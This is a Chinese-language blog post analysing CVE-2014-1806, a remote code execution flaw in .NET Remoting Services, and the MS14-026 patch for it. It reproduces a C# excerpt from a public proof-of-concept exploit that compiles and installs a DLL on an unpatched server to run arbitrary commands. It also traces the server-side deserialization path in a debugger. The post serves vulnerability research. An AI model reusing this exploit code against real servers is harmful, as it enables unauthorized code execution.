CVE20141806 .NET Remoting Services漏洞浅析

admin 2019年5月10日23:00:24评论210 views字数 3707阅读12分21秒阅读模式
摘要

Microsoft .NET Remoting是一种分布式处理方式,提供了一种允许对象通过应用程序域与另一对象进行交互的框架。前几天James Forshaw发布了CVE-2014-1806 .NET Remoting Services的漏洞利用程序,花了一些时间对其进行一下简单的调试分析。

0x00 简介


Microsoft .NET Remoting是一种分布式处理方式,提供了一种允许对象通过应用程序域与另一对象进行交互的框架。前几天James Forshaw发布了CVE-2014-1806 .NET Remoting Services的漏洞利用程序,花了一些时间对其进行一下简单的调试分析。

首先安装包含漏洞的.NET Framework v4.0.30319,执行poc代码,可以看到执行成功了。

CVE20141806 .NET Remoting Services漏洞浅析

0x01 分析


对poc代码进行分析,可以看到下面的代码CreateRemoteClass,其中MakeCall模板函数根据参数信息构建发送到服务器端的请求数据并得到服务器执行结果,其中static object SendRequest(object o, bool remote) 函数完成对象的序列化、协议数据包的构建发送以及执行结果的解析。

例如MakeCall(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath"))是用于调用远程服务器中Path对象的GetTempPath方法,并返回执行结果。Poc中的代码用于在远端服务器中上传、编译RemoteClass.cs、IRemoteClass.cs、InstallClass.cs文件得到Installer.dll,然后安装Installer.dll,最终创建IRemoteClass的对象实体。在得到IRemoteClass对象之后,就能调用它的方法执行任意命令了。

private static IRemoteClass CreateRemoteClass() {     if (_useser)     {         return new SerializerRemoteClass();     }     else     {         string path;         if (_uri.Scheme != "ipc")         {             IRemoteClass ret = GetExistingRemoteClass();              try            {                ret.ToString();                return ret;            }            catch (RemotingException)            {            }             path = MakeCall<string>(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath"));           path = Path.Combine(path, "Installer.dll");           CodeDomProvider compiler = MakeCall<CodeDomProvider>(_uri.AbsolutePath, GetCreateInstance<CSharpCodeProvider>());            string uri = RemotingServices.GetObjectUri(compiler);           CompilerParameters cp = new CompilerParameters();           cp.ReferencedAssemblies.Add("System.dll");           cp.ReferencedAssemblies.Add("System.Configuration.Install.dll");           cp.OutputAssembly = path;            cp.GenerateInMemory = false;           cp.GenerateExecutable = false;            string code = GetResource("RemoteClass.cs");           string intf = GetResource("IRemoteClass.cs");           string inst = GetResource("InstallClass.cs");  CompilerResults res = MakeCall<CompilerResults>(uri,new FakeMethod(typeof(CodeDomProvider).GetMethod("CompileAssemblyFromSource"), _ver), cp, new string[] { code, intf, inst });           }           else           {               path = typeof(IRemoteClass).Assembly.Location;           }           try           {              AssemblyInstaller installer = MakeCall<AssemblyInstaller>(_uri.AbsolutePath, GetCreateInstance<AssemblyInstaller>());             installer.Path = path;             installer.CommandLine = new string[] { "/name=" + _remotename };             installer.UseNewContext = true;             installer.Install(new Hashtable());        }        catch        {            // In the IPC case this might fail            // Just continue on with the creation of the remote class and see if we're lucky                    }         return GetExistingRemoteClass();     } } 

可以通过WireShark截包验证整个数据交互过程,其中包含文件的上传,服务端的%TEMP%目录下也相应的生成了Installer.dll。

CVE20141806 .NET Remoting Services漏洞浅析

为了了解服务端的数据处理流程,通过windbg对CreateProcessW设置断点,通过sos.dll扩展来观察程序的托管代码调用堆栈。

CVE20141806 .NET Remoting Services漏洞浅析

通过托管代码的调用栈,结合.NET Reflector对System.Runtime.Remoting.dll进行分析。

可以看到System.Runtime.Remoting.Channels.Tcp.TcpServerTransportSink.ServiceRequest方法通过ITransportHeaders requestHeaders = handler.ReadHeaders()和Stream requestStream = handler.GetRequestStream()获取了协议头和请求的对象流信息。

然后调用System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage方法 ,该方法中通过requestMsg = CoreChannel.DeserializeBinaryRequestMessage(uRI, requestStream, this._strictBinding, this.TypeFilterLevel)对请求的对象流进行反序列化,成功之后则调用System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage。

CVE20141806 .NET Remoting Services漏洞浅析

CVE20141806 .NET Remoting Services漏洞浅析

System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage中简单判断之后,直接调用了ChannelServices.DispatchMessage(sinkStack, requestMsg, out responseMsg)分发消息。

DispatchMessage中则只是通过IsMethodReallyPublic(methodBase)和RemotingServices.IsMethodAllowedRemotely(methodBase))判断了远端调用的方法是否允许,如果满足条件,则进一步处理,最终调用该方法。

CVE20141806 .NET Remoting Services漏洞浅析

CVE20141806 .NET Remoting Services漏洞浅析

整个过程中并没有对远端的身份进行有效性验证,而Remoting对远端提供的方法导致了可以通过CreateInstance 在服务端得到获取CodeDomProvider对象、通过CodeDomProvider的CompileAssemblyFromSource方法编译源码、安装Installer.dll,最后创建IRemoteClass类对象来执行命令的漏洞。

0x02 关于补丁


Microsoft 安全公告 MS14-026中提到针对该漏洞的安全更新是通过帮助确保 .NET Framework 为应用程序内存正确强制实施安全控件来解决漏洞,即采用了变通方法,仅允许经过身份验证的客户端与容易受到攻击的服务器进行交互。

CVE20141806 .NET Remoting Services漏洞浅析

CVE20141806 .NET Remoting Services漏洞浅析

通过给win7 sp1打NDP40-KB2931365-x86.exe补丁,对比打补丁前后的System.Runtime.Remoting.dll的System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage方法,可以看到多了如下图的一段代码。

CVE20141806 .NET Remoting Services漏洞浅析

执行之前的poc代码,将发现服务端抛出异常,由于allowTransparentProxyMessageValue的值为false,导致消息不会进一步被处理,与安全公告中描述的一致。如果allowTransparentProxyMessageValue的值为true,程序的处理流程与未打补丁时相同。

CVE20141806 .NET Remoting Services漏洞浅析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月10日23:00:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE20141806 .NET Remoting Services漏洞浅析http://cn-sec.com/archives/63037.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息